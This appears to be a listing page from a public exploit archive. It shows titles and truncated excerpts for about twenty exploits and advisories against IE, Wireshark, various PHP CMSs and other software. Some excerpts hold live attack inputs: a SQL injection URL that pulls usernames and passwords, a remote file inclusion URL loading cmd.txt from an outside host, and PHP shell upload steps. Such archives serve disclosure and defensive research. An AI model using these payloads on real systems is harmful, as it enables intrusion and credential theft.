MS Internet Explorer "mshtml.dll" CSS Parsing Buffer Overflow

No description provided by source. / Taken from http://www.securiteam.com/exploits/5NP042KF5A.html The exploit will create a .CSS file that should be included in an HTML file. When a user loads the HTML file, Internet Explorer will try to parse the CSS and will trigger the buffer overflow. /...

Wireshark < 0.99.5 DNP3 Dissector Infinite Loop Exploit

No description provided by source. !/usr/bin/perl Automatically generated by beSTORMtm Copyright Beyond Security c 2003-2007 $Revision: 3741 $ Attack vector: M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0 Module: DNP3 use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIGINT = \ my $host =...

Shadowed Portal <= 5.7d3 Remote Command Execution Exploit

No description provided by source. !/usr/bin/python -- coding: iso-8859-15 -- ''' / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / ------------------------------------------------------------------------------------------------ This is a Public...

OpenNetAdmin 13.03.01 - Remote Code Execution

No description provided by source. Exploit Title: OpenNetAdmin Remote Code Execution Date: 03/04/13 Exploit Author: Mandat0ry aka Matthew Bryant Vendor Homepage: http://opennetadmin.com/ Software Link: http://opennetadmin.com/download.html Version: 13.03.01 Tested on: Ubuntu CVE : No CVE exists -...

iziContents <= RC6 GLOBALS[] Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? / vulnerable code = include/rssfunctions.php line 32-40: .... $GLOBALSrootdp = './'; requireonce $GLOBALSrootdp.include/config.php; requireonce $GLOBALSrootdp.include/db.php; requireonce $GLOBALSrootdp.include/session.php;...

SMA-DB <= 0.3.9 (settings.php) Remote File Inclusion Vulnerability

No description provided by source. To ConTacT mE:wWw.Asb-May.net/bb ScRiPt:-http://people.ee.ethz.ch/dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP Settings.php:- includeonce$pfadz.scripts/session.php;...

Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow

No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initializeinfo =...

SpeedBerg <= 1.2beta1 (SPEEDBERG_PATH) File Include Vulnerabilities

No description provided by source. speedberg = 1.2beta1 Remote File Inclusion Download Source : http://www.myepfl.ch/speedberg/files/speedberg-1.2beta1.zip Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg @irc.dal.net file; entrancePage.tpl.php generalToolBox.tlb.php...

SePortal 2.5 - SQL Injection Vulnerabilty

No description provided by source. Exploit: SePortal 2.5 Sql Injection Vulnerabilty Author: jsass Date : 19\03\2014 Contact Twitter: @Kwsecurity Script: http://www.seportal.org/ version: 2.5 Tested on: Linux Ubuntu 12.4 & Windows 7 Dork : Powered by SePortal 2.5 // Searching And Analysis By Kuwai...

qwicsite pro (sql/xss) Multiple Vulnerabilities

No description provided by source. By Cr@zyKing a.k.a t4cs1zkr4L Qwicsite Pro SQL/XSS Multiple Vulnerabilities http://localhost/?pageid=-1+union+select+1,2,3,concat0x3a3a,username,0x3a3a,password+from+accounts/ !-- checkpageuser - -1 union select 1,2,3,concat0x3a3a,username,0x3a3a,password from...

Web3news <= 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln

No description provided by source. ============================================================================================== Web3news = v0.95 PHPSECURITYADMINPATH Remote File Inclusion Exploit ===============================================================================================...

Oracle Automated Service Manager 1.3 Installation Local Privilege Escalation

No description provided by source. Oracle Automated Service Manager 1.3 local root during install Larry W. Cashdollar 1/29/2013 @larry0 SUNWsasm-1.3.1-20110815093723 https://updates.oracle.com/Orion/Services/download?type=readme&aru=15864534 From the README: Oracle Automated Service Manager 1.3.1...

Nuked-klaN 1.7.6 - Remote Code Execution Exploit

No description provided by source. ?php Nuked-klaN 1.7.6 Remote Code Execution Exploit ------------------------------------------------ Author: DarkFig [email protected] Website: http://www.acid-root.new.fr/ PHP conditions: None = Private since 2 months. errorreportingEALL ^ ENOTICE; This file...

Nucleus 3.61 - Multiple Remote File Include

No description provided by source. Nucleus v3.61 === Multiple Remote File Include By n0n0x Homepage: http://priasantai.uni.cc/ Download script :http://sourceforge.net/projects/nucleuscms/ ========================================= nucleus3.61/action.php?DIRLIBS=y0ur g4y sh3ll????????????? 13. / 14...

DevMass Shopping Cart <= 1.0 - Remote File Include Vulnerability

No description provided by source. ======================================================================== || || || || || || || || || || || || ======================================================================== ======================================================================== DevMass...

PHP Support Tickets 2.2 - Remote File Upload Vulnerability

No description provided by source. remote file upload script: PHPSupportTicketsv2.2 download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHPSupportTicketsv2.2.zip 1:www.site.com/path/index.php?page=register 2:New Ticket 3:upload php file shell...

mpg123 pre0.59s Invalid MP3 Header Memory Corruption Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/6593/info A memory corruption vulnerability has been reported for mpg123 that may result in code execution. The vulnerability exists when mpg123 is used to play certain MP3 files. Specifically, when playing MP3 files with...

Joomla Component JQuarks4s 1.0.0 - Blind SQL Injection Vulnerability

No description provided by source. JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability Name JQuarks4s Vendor http://www.iptechinside.com/labs/projects/listfiles/jquarks-for-surveys Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net...

mini-pub 0.3 (lfd/ce) Multiple Vulnerabilities

No description provided by source. mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local...

Evaria Content Management System 1.1 File Disclosure Vulnerability

No description provided by source. Exploit Title: local file include / File Disclosure Date: Author: khayeye shotor Software Link: http://www.evaria.com/en/?view=download&dload=1 Version: Evaria Content Management System v.1.1 Thanks: khayeye sag , kandome mivei , sinehaye amam and all amehaye...